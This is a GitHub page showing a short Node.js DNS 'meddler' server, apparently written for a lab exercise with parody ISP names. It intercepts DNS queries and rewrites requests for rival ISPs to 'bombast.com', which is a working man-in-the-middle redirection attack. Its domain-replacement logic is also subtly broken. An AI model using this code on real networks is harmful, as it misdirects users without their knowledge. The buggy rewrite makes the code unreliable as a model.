-
Notifications
You must be signed in to change notification settings - Fork 0
/
mitmServer.js
85 lines (68 loc) · 2.45 KB
/
mitmServer.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
// Author
// William Lucca
'use strict';
const dgram = require('dgram');
// Create the UDP server
const server = dgram.createSocket('udp4');
// DNS query uses char code 0x03 for periods in domain name
const DOT = String.fromCharCode(0x03);
// Port for this meddler server to listen on
const MEDDLER_PORT = 3000;
// DNS port number
const DNS_PORT = 53;
// Address of root DNS server to forward to
const ROOT_IP = '10.4.18.3';
// List of other ISPs to redirect
const otherISPs = [
'berizon' + DOT + 'com',
'atb' + DOT + 'com',
'bharter' + DOT + 'com'
];
// Bombast's domain name
const bombastDomain = 'bombast' + DOT + 'com';
// Callback for handling messages
server.on('message', function(msg, rinfo) {
console.log('\nMessage from ' + rinfo.address + ':' + rinfo.port);
// Check for other ISPs
for (var i = 0; i < otherISPs.length; i++) {
if (msg.toString().includes(otherISPs[i])) {
// Send a modified request to root DNS server that asks for bombast.com
forwardModifiedRequest(msg);
return;
}
}
// Forward to root DNS
forwardRequest(msg);
});
// Callback for printing potential errors
server.on('error', function(err) {
console.log('Server error:\n' + err.stack);
});
// Callback to print server port when the server starts listening
server.on('listening', function() {
const address = server.address();
console.log('Meddler server listening on port ' + address.port + '\n');
});
// Start the server listening for UDP messages (DNS queries)
server.bind(MEDDLER_PORT);
const forwardRequest = function(msg) {
// Start UDP message sending client
const client = dgram.createSocket('udp4');
console.log('Forwarding message to ' + ROOT_IP + ':' + DNS_PORT + ':\n' + msg.toString() + '\n');
// Send the message, close on completion
client.send(msg, DNS_PORT, ROOT_IP, function(err) {
client.close();
});
}
const forwardModifiedRequest = function(msg) {
// Replace other ISP domain with bombast
for (var i = 0; i < otherISPs.length; i++) {
let n = msg.indexOf(otherISPs[i]);
if (n != -1) {
msg = msg.slice(0, n) + bombastDomain + msg.slice(n + bombastDomain.length);
console.log(otherISPs[i] + ' changed to ' + bombastDomain + ' in request');
}
}
// Forward the bombast.com request
forwardRequest(msg);
}